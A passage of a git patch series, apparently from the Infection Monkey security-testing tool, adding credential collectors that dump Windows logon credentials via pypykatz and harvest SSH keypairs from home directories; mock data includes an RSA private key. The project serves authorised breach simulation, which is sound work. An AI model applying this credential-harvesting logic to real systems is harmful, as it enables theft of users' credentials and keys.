"KyA6tS7Sta5sRkomcKYDgsL8gtRRXx3j/nH6T7EvhvaQUmJtlakeNkC9QSS9aZuM\n" - "snegLvVSlHVmKe8SjD0YAF7g9HH/vm0R2jYTYSArslw4mUZMjTcAQ/XBeDHDkNZq\n" - "x9ECzXdeZhXCXlKcadC+kNp+yT4MwkHAjid6AyalSDJ+9k3QRaI6ItxofWJhnZdB\n" - "RxQtnkJNOZCMKqwxmxUweX7AyShT1KdBdkw0VzkY0O3VUgdR9IzQu73eME5Qr4LM\n" - "5x+rFy0EggHkzCXecviDDQ/SJZEDR4yE0SCxwY0GxVfDdvM6aoLK7wLfu0hG+hjO\n" - "ewXmOAECgYEA4yA14atxKYWf8tAJnmH+IJi1nuiyBoaKJh9nGulGTFVpugytkfdy\n" - "omGYsvlSJd6x4KPM2nXuSD9uvS0ZDeHDXbPJcFAPscghwwIekunQigECgYEAwDRl\n" - "QOhBx8PpicbRmoEe06zb+gRNTYTnvcHgkJN275pqTn1hIAdQSGnyuyWdCN6CU8cg\n" - "p7ecLbCujAstim4H8LG6xMv8jBgVeBKclKEEy9IpvMZ/DGOdUS4/RMWkdVbcFFHZ\n" - "57gycmFwgN7ZFXdMkuCCZi2KCa4jX54G1VNX0+k64cLV8lgQXvVyl9QdvBkt8NqB\n" - "Zoce2vfDrFkUHoxQmAl2jvn8925KkAdga4Zj+zvLgmcryxCFZnA6IvxaoHzrUSxO\n" - "HpuEdCFek/4gyhXPbYQO99ZtOjx0mXwZVqRaEA1kvhX3+PjoPRO2wgBLXVNyb+P5\n" - "5Bxfk6XI40UAUSYv6XQlfIQj0xz/YfSkWbOwTJOShgMbJtiZVFuZ2YcEjSYXzNtv\n" - "WBM0+05OGqjxdyI+qpjHqrZVWN9WvvkH0gJz+zvcorygINMnuSjpNCw4nipXHaud\n" - "LbiqWK42eTmVSiFH+pH+YwVaTatc0RfQ7OP218GD8dtkTgw2JFOzbA==\n" - "-----END RSA PRIVATE KEY-----\n", - "known_hosts": "|1|pERVcy3opIGJnp7HVTpeA0FmuEY=|L64j7430lwkSFrmcn49Nf8YEsLc= " # noqa: E501 - "ssh-rsa " - "AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmdnm9tUDbO9IDSwBK6TbQa+PXYPCPy6rbTrTtw7PHkccKrpp0yVhp5HdEIcKr6pLlVDBfOLX9QUsyCOV0wzfjIJNlGEYsdlLJizHhbn2mUjvSAHQqZETYP81eFzLQNnPHt4EVVUh7VfDESU84KezmD5QlWpXLmvU31/yMf+Se8xhHTvKSCZIFImWwoG6mbUoWf9nzpIoaSjB+weqqUUmpaaasXVal72J+UX2B+2RPW3RcT0eOzQgqlJL3RKrTJvdsjE3JEAvGq3lGHSZXy28G3skua2SmVi/w4yCE6gbODqnTWlg7+wC604ydGXA8VJiS5ap43JXiUFFAaQ==\n" # noqa: E501 - "|1|DXEyHSAtnxSSWb4z6XLaxHJL/aM=|zjIBopXOz1GB9hbdpVcYsHY+eSU= " - "ssh-rsa " - "AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmdnm9tUDbO9IDSwBK6TbQa+PXYPCPy6rbTrTtw7PHkccKrpp0yVhp5HdEIcKr6pLlVDBfOLX9QUsyCOV0wzfjIJNlGEYsdlLJizHhbn2mUjvSAHQqZETYP81eFzLQNnPHt4EVVUh7VfDESU84KezmD5QlWpXLmvU31/yMf+Se8xhHTvKSCZIFImWwoG6mbUoWf9nzpIoaSjB+weqqUUmpaaasXVal72J+UX2B+2RPW3RcT0eOzQgqlJL3RKrTJvdsjE3JEAvGq3lGHSZXy28G3skua2SmVi/w4yCE6gbODqnTWlg7+wC604ydGXA8VJiS5ap43JXiUFFAaQ==\n" # noqa: E501 - "10.197.94.221 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n" # noqa: E501 - "|1|kVjsp1IWhGMsWfrbQuhLUABrNMk=|xKCh+yr8mPEyCLZ2/E5bC8bjvw0= " - "ecdsa-sha2-nistp256 " - "AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n" # noqa: E501 - "other_host,fd42:5289:fddc:ffdf:216:3eff:fe5b:9114 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n" # noqa: E501 - "|1|S6K6SneX+l7xTM1gNLvDAAzj4gs=|cSOIX6qf5YuIe2aw/KmUrM2ye/c= " - "ecdsa-sha2-nistp256 " - "AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n", # noqa: E501 - } - ], - } - if name == "ProcessListCollector": - return { - "process_list": { - 1: { - "cmdline": "/sbin/init", - "full_image_path": "/sbin/init", - "name": "systemd", - "pid": 1, - "ppid": 0, - }, - 65: { - "cmdline": "/lib/systemd/systemd-journald", - "full_image_path": "/lib/systemd/systemd-journald", - "name": "systemd-journald", - "pid": 65, - "ppid": 1, - }, - 84: { - "cmdline": "/lib/systemd/systemd-udevd", - "full_image_path": "/lib/systemd/systemd-udevd", - "name": "systemd-udevd", - "pid": 84, - "ppid": 1, - }, - 192: { - "cmdline": "/lib/systemd/systemd-networkd", - "full_image_path": "/lib/systemd/systemd-networkd", - "name": "systemd-networkd", - "pid": 192, - "ppid": 1, - }, - 17749: { - "cmdline": "-zsh", - "full_image_path": "/bin/zsh", - "name": "zsh", - "pid": 17749, - "ppid": 17748, - }, - 18392: { - "cmdline": "/home/ubuntu/venvs/monkey/bin/python " "monkey_island.py", - "full_image_path": "/usr/bin/python3.7", - "name": "python", - "pid": 18392, - "ppid": 17502, - }, - 18400: { - "cmdline": "/home/ubuntu/git/monkey/monkey/monkey_island/bin/mongodb/bin/mongod " # noqa: E501 - "--dbpath /home/ubuntu/.monkey_island/db", - "full_image_path": "/home/ubuntu/git/monkey/monkey/monkey_island/bin/mongodb/bin/mongod", # noqa: E501 - "name": "mongod", - "pid": 18400, - "ppid": 18392, - }, - 26535: { - "cmdline": "ACCESS DENIED", - "full_image_path": "null", - "name": "null", - "pid": 26535, - "ppid": 26469, - }, - 29291: { - "cmdline": "python infection_monkey.py m0nk3y -s " "localhost:5000", - "full_image_path": "/usr/bin/python3.7", - "name": "python", - "pid": 29291, - "ppid": 17749, - }, - } - } + def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: + logger.debug(f"run_credential_collector({name})") - return {} + if name == "SSHCredentialCollector": + # TODO: Replace Passwords with SSHKeypair after it is implemented + ssh_credentials = Credentials( + [Username("m0nk3y")], + [ + SSHKeypair("Public_Key_0", "Private_Key_0"), + SSHKeypair("Public_Key_1", "Private_Key_1"), + ], + ) + return [ssh_credentials] + elif name == "MimikatzCollector": + windows_credentials = Credentials( + [Username("test_user")], [Password("1234"), LMHash("DEADBEEF")] + ) + return [windows_credentials] + + return [] def run_pba(self, name: str, options: Dict) -> PostBreachData: logger.debug(f"run_pba({name}, {options})") diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 380ee1bbe..0bf07f714 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -1,9 +1,10 @@ import logging import threading -from typing import Dict, List +from typing import Dict, List, Sequence from infection_monkey import network from infection_monkey.i_puppet import ( + Credentials, ExploiterResultData, FingerprintData, IPuppet, @@ -27,8 +28,8 @@ class Puppet(IPuppet): def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) - def run_sys_info_collector(self, name: str) -> Dict: - return self._mock_puppet.run_sys_info_collector(name) + def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: + return list(self._mock_puppet.run_credential_collector(name, options)) def run_pba(self, name: str, options: Dict) -> PostBreachData: return self._mock_puppet.run_pba(name, options) From bf27a8c8ea8f4a7bd87f778b6fac7ce04207c492 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:22:44 -0500 Subject: [PATCH 0436/1110] Agent: Do not run pypykatz if the OS is not Windows --- .../mimikatz_collector/pypykatz_handler.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py index 2b7ceec65..98377bc86 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py @@ -1,10 +1,15 @@ import binascii +import logging from typing import Any, Dict, List, NewType from pypykatz.pypykatz import pypykatz +from infection_monkey.utils.environment import is_windows_os + from .windows_credentials import WindowsCredentials +logger = logging.getLogger(__name__) + CREDENTIAL_TYPES = [ "msv_creds", "wdigest_creds", @@ -19,6 +24,10 @@ PypykatzCredential = NewType("PypykatzCredential", Dict) def get_windows_creds() -> List[WindowsCredentials]: + if not is_windows_os(): + logger.debug("Skipping pypykatz because the operating system is not Windows") + return [] + pypy_handle = pypykatz.go_live() logon_data = pypy_handle.to_dict() windows_creds = _parse_pypykatz_results(logon_data) From 86a218d82b3f9f5ee7389972d77df086b60fd105 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:40:11 -0500 Subject: [PATCH 0437/1110] Agent: Add SSHCredentialCollector to credential_collectors.__init__.py --- monkey/infection_monkey/credential_collectors/__init__.py | 1 + .../test_ssh_credentials_collector.py | 3 +-- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index a5d48e466..1f259949d 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -4,3 +4,4 @@ from .credential_components.password import Password from .credential_components.username import Username from .credential_components.ssh_keypair import SSHKeypair from .mimikatz_collector import MimikatzCredentialCollector +from .ssh_collector import SSHCredentialCollector diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 3727f8698..4b344d9b0 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -2,8 +2,7 @@ from unittest.mock import MagicMock import pytest -from infection_monkey.credential_collectors import SSHKeypair, Username -from infection_monkey.credential_collectors.ssh_collector import SSHCredentialCollector +from infection_monkey.credential_collectors import SSHCredentialCollector, SSHKeypair, Username from infection_monkey.i_puppet.credential_collection import Credentials From c96f2729191fc5625ed36123158a8adce8d79fcf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:41:04 -0500 Subject: [PATCH 0438/1110] UT: Remove linux_credentials_collector test directory --- .../test_ssh_credentials_collector.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/unit_tests/infection_monkey/credential_collectors/{linux_credentials_collector => }/test_ssh_credentials_collector.py (100%) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py rename to monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py From dd1df14b8e87353541a2dfb07e7254b7e2119ea3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:52:17 -0500 Subject: [PATCH 0439/1110] Agent: Make credential collector names consistent --- monkey/infection_monkey/master/mock_master.py | 4 ++-- monkey/infection_monkey/puppet/mock_puppet.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index fa4087e82..5c522a565 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -34,11 +34,11 @@ class MockMaster(IMaster): def _run_credential_collectors(self): logger.info("Running credential collectors") - windows_credentials = self._puppet.run_credential_collector("MimikatzCredentialCollector") + windows_credentials = self._puppet.run_credential_collector("MimikatzCollector") if windows_credentials: self._telemetry_messenger.send_telemetry(CredentialsTelem(windows_credentials)) - ssh_credentials = self._puppet.run_sys_info_collector("SSHCredentialCollector") + ssh_credentials = self._puppet.run_sys_info_collector("SSHCollector") if ssh_credentials: self._telemetry_messenger.send_telemetry(CredentialsTelem(ssh_credentials)) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index a30cbf353..8b76d175a 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -30,7 +30,7 @@ class MockPuppet(IPuppet): def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: logger.debug(f"run_credential_collector({name})") - if name == "SSHCredentialCollector": + if name == "SSHCollector": # TODO: Replace Passwords with SSHKeypair after it is implemented ssh_credentials = Credentials( [Username("m0nk3y")], From 2f838372b5d29ea3071d1d5728f9017dd401b44d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:52:51 -0500 Subject: [PATCH 0440/1110] Common: Add SSHCollector to system info collectors --- monkey/common/common_consts/system_info_collectors_names.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py index 075d6ff45..20ac2b178 100644 --- a/monkey/common/common_consts/system_info_collectors_names.py +++ b/monkey/common/common_consts/system_info_collectors_names.py @@ -1,2 +1,3 @@ PROCESS_LIST_COLLECTOR = "ProcessListCollector" MIMIKATZ_COLLECTOR = "MimikatzCollector" +SSH_COLLECTOR = "SSHCollector" From 92ddeebd4e571880e3a6754f7a4f6116556955ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:53:13 -0500 Subject: [PATCH 0441/1110] Island: Add SSHCollector to system info collectors --- .../definitions/system_info_collector_classes.py | 11 ++++++++++- .../monkey_island/cc/services/config_schema/monkey.py | 2 ++ .../monkey_configs/automated_master_config.json | 4 ++-- .../monkey_configs/monkey_config_standard.json | 6 ++---- 4 files changed, 16 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index 5e446513c..3f3b8e8ad 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -1,6 +1,7 @@ from common.common_consts.system_info_collectors_names import ( MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR, + SSH_COLLECTOR, ) SYSTEM_INFO_COLLECTOR_CLASSES = { @@ -11,7 +12,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { { "type": "string", "enum": [MIMIKATZ_COLLECTOR], - "title": "Mimikatz Collector", + "title": "Mimikatz Credentials Collector", "safe": True, "info": "Collects credentials from Windows credential manager.", "attack_techniques": ["T1003", "T1005"], @@ -24,5 +25,13 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { "info": "Collects a list of running processes on the machine.", "attack_techniques": ["T1082"], }, + { + "type": "string", + "enum": [SSH_COLLECTOR], + "title": "SSH Credentials Collector", + "safe": True, + "info": "Searches users' home directories and collects SSH keypairs.", + "attack_techniques": ["T1005", "T1145"], + }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 80719d4c2..85f975fe1 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,6 +1,7 @@ from common.common_consts.system_info_collectors_names import ( MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR, + SSH_COLLECTOR, ) MONKEY = { @@ -87,6 +88,7 @@ MONKEY = { "default": [ PROCESS_LIST_COLLECTOR, MIMIKATZ_COLLECTOR, + SSH_COLLECTOR, ], }, }, diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index e7290d822..6524a169f 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -104,8 +104,8 @@ } }, "system_info_collector_classes": [ - "ProcessListCollector", - "MimikatzCollector" + "MimikatzCollector", + "SSHCollector" ] } } diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 69e6f4416..9552d4da9 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -146,10 +146,8 @@ }, "system_info": { "system_info_collector_classes": [ - "environmentcollector", - "hostnamecollector", - "processlistcollector", - "mimikatzcollector" + "MimikatzCollector", + "SSHCollector" ] } } From 10ee9f9e75cce70a96ac5bdedfc22b5de2e10a6d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:57:05 -0500 Subject: [PATCH 0442/1110] Agent: Do not run SSHCredentialsCollector if the OS is not Linux --- .../credential_collectors/ssh_collector/ssh_handler.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 8c635d92b..89f3c34fc 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -8,6 +8,7 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1145_telem import T1145Telem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) @@ -15,6 +16,12 @@ DEFAULT_DIRS = ["/.ssh/", "/"] def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: + if is_windows_os(): + logger.debug( + "Skipping SSH credentials collection because the operating system is not Linux" + ) + return [] + home_dirs = _get_home_dirs() ssh_info = _get_ssh_files(home_dirs, telemetry_messenger) From 3a3a5f0c9c38375b53d394f850035fd047085099 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 15:01:36 -0500 Subject: [PATCH 0443/1110] Agent: Implement run_credential_collector() in Puppet --- monkey/infection_monkey/monkey.py | 15 +++++++++++---- monkey/infection_monkey/puppet/puppet.py | 5 ++++- 2 files changed, 15 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7fc8d89b2..c8132e054 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -12,7 +12,10 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from common.version import get_version from infection_monkey.config import GUID, WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.credential_collectors import MimikatzCredentialCollector +from infection_monkey.credential_collectors import ( + MimikatzCredentialCollector, + SSHCredentialCollector, +) from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -170,7 +173,7 @@ class InfectionMonkey: def _build_master(self): local_network_interfaces = InfectionMonkey._get_local_network_interfaces() - puppet = InfectionMonkey._build_puppet() + puppet = self._build_puppet() victim_host_factory = self._build_victim_host_factory(local_network_interfaces) @@ -190,8 +193,7 @@ class InfectionMonkey: return local_network_interfaces - @staticmethod - def _build_puppet() -> IPuppet: + def _build_puppet(self) -> IPuppet: puppet = Puppet() puppet.load_plugin( @@ -199,6 +201,11 @@ class InfectionMonkey: MimikatzCredentialCollector(), PluginType.CREDENTIAL_COLLECTOR, ) + puppet.load_plugin( + "SSHCollector", + SSHCredentialCollector(self.telemetry_messenger), + PluginType.CREDENTIAL_COLLECTOR, + ) puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 0bf07f714..5150c9b6f 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -29,7 +29,10 @@ class Puppet(IPuppet): self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: - return list(self._mock_puppet.run_credential_collector(name, options)) + credential_collector = self._plugin_registry.get_plugin( + name, PluginType.CREDENTIAL_COLLECTOR + ) + return list(credential_collector.collect_credentials(options)) def run_pba(self, name: str, options: Dict) -> PostBreachData: return self._mock_puppet.run_pba(name, options) From 0880e16c54eaad27c6442e5e90c643f553387f29 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 15:10:38 -0500 Subject: [PATCH 0444/1110] Agent: Change ICredentialCollector interface to return Sequence Being able to check if the ICredentialCollector returned an empty Sequence is useful and easier than checking for an "empty" Iterable. --- .../mimikatz_collector/mimikatz_credential_collector.py | 6 +++--- .../ssh_collector/ssh_credential_collector.py | 6 +++--- .../credential_collection/i_credential_collector.py | 4 ++-- monkey/infection_monkey/puppet/puppet.py | 2 +- .../credential_collectors/test_mimikatz_collector.py | 6 +++--- 5 files changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py index e1f94c4dd..1cbef911e 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py @@ -1,4 +1,4 @@ -from typing import Iterable +from typing import Sequence from infection_monkey.credential_collectors import LMHash, NTHash, Password, Username from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector @@ -8,12 +8,12 @@ from .windows_credentials import WindowsCredentials class MimikatzCredentialCollector(ICredentialCollector): - def collect_credentials(self, options=None) -> Iterable[Credentials]: + def collect_credentials(self, options=None) -> Sequence[Credentials]: creds = pypykatz_handler.get_windows_creds() return MimikatzCredentialCollector._to_credentials(creds) @staticmethod - def _to_credentials(win_creds: Iterable[WindowsCredentials]) -> [Credentials]: + def _to_credentials(win_creds: Sequence[WindowsCredentials]) -> [Credentials]: all_creds = [] for win_cred in win_creds: identities = [] diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index ce64221fb..69afd68f6 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -1,5 +1,5 @@ import logging -from typing import Dict, Iterable, List +from typing import Dict, Iterable, Sequence from infection_monkey.credential_collectors import SSHKeypair, Username from infection_monkey.credential_collectors.ssh_collector import ssh_handler @@ -17,7 +17,7 @@ class SSHCredentialCollector(ICredentialCollector): def __init__(self, telemetry_messenger: ITelemetryMessenger): self._telemetry_messenger = telemetry_messenger - def collect_credentials(self, _options=None) -> List[Credentials]: + def collect_credentials(self, _options=None) -> Sequence[Credentials]: logger.info("Started scanning for SSH credentials") ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger) logger.info("Finished scanning for SSH credentials") @@ -25,7 +25,7 @@ class SSHCredentialCollector(ICredentialCollector): return SSHCredentialCollector._to_credentials(ssh_info) @staticmethod - def _to_credentials(ssh_info: Iterable[Dict]) -> List[Credentials]: + def _to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]: ssh_credentials = [] for info in ssh_info: diff --git a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py index 847cd929d..0cbd2578b 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py @@ -1,10 +1,10 @@ from abc import ABC, abstractmethod -from typing import Iterable, Mapping, Optional +from typing import Mapping, Optional, Sequence from .credentials import Credentials class ICredentialCollector(ABC): @abstractmethod - def collect_credentials(self, options: Optional[Mapping]) -> Iterable[Credentials]: + def collect_credentials(self, options: Optional[Mapping]) -> Sequence[Credentials]: pass diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 5150c9b6f..bea4695b3 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -32,7 +32,7 @@ class Puppet(IPuppet): credential_collector = self._plugin_registry.get_plugin( name, PluginType.CREDENTIAL_COLLECTOR ) - return list(credential_collector.collect_credentials(options)) + return credential_collector.collect_credentials(options) def run_pba(self, name: str, options: Dict) -> PostBreachData: return self._mock_puppet.run_pba(name, options) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py index b33d4e097..20eca62c7 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py @@ -1,4 +1,4 @@ -from typing import List +from typing import Sequence import pytest @@ -23,8 +23,8 @@ def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): ) -def collect_credentials() -> List[Credentials]: - return list(MimikatzCredentialCollector().collect_credentials()) +def collect_credentials() -> Sequence[Credentials]: + return MimikatzCredentialCollector().collect_credentials() @pytest.mark.parametrize( From cc27dc97109945fe0b272509f8886881e39d5f8f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 15:17:13 -0500 Subject: [PATCH 0445/1110] Changelog: Add changelog entry for SSHCollector --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b51cc9321..27cfe5e4e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - credentials.json file for storing Monkey Island user login information. #1206 - "GET /api/propagation-credentials/" endpoint for agents to retrieve updated credentials from the Island. #1538 +- SSHCollector as a configurable System info Collector. #1606 ### Changed - "Communicate as Backdoor User" PBA's HTTP requests to request headers only and From 704236a16fd91a8ee257eccc4707d5b58a7b6750 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 15:31:26 -0500 Subject: [PATCH 0446/1110] Common: Alphabetize TelemCategoryEnum --- monkey/common/common_consts/telem_categories.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index d1e931721..70faa73f4 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -1,12 +1,12 @@ class TelemCategoryEnum: + ATTACK = "attack" + AWS_INFO = "aws_info" + CREDENTIALS = "credentials" EXPLOIT = "exploit" + FILE_ENCRYPTION = "file_encryption" POST_BREACH = "post_breach" SCAN = "scan" STATE = "state" SYSTEM_INFO = "system_info" TRACE = "trace" TUNNEL = "tunnel" - ATTACK = "attack" - FILE_ENCRYPTION = "file_encryption" - AWS_INFO = "aws_info" - CREDENTIALS = "credentials" From f526933d848e8d59621f56898dae3d97ac7909c2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Feb 2022 06:18:44 -0500 Subject: [PATCH 0447/1110] Agent: Add TODO comment regarding OS checks in credential collectors --- .../credential_collectors/mimikatz_collector/pypykatz_handler.py | 1 + .../credential_collectors/ssh_collector/ssh_handler.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py index 98377bc86..25e02f5e1 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py +++ 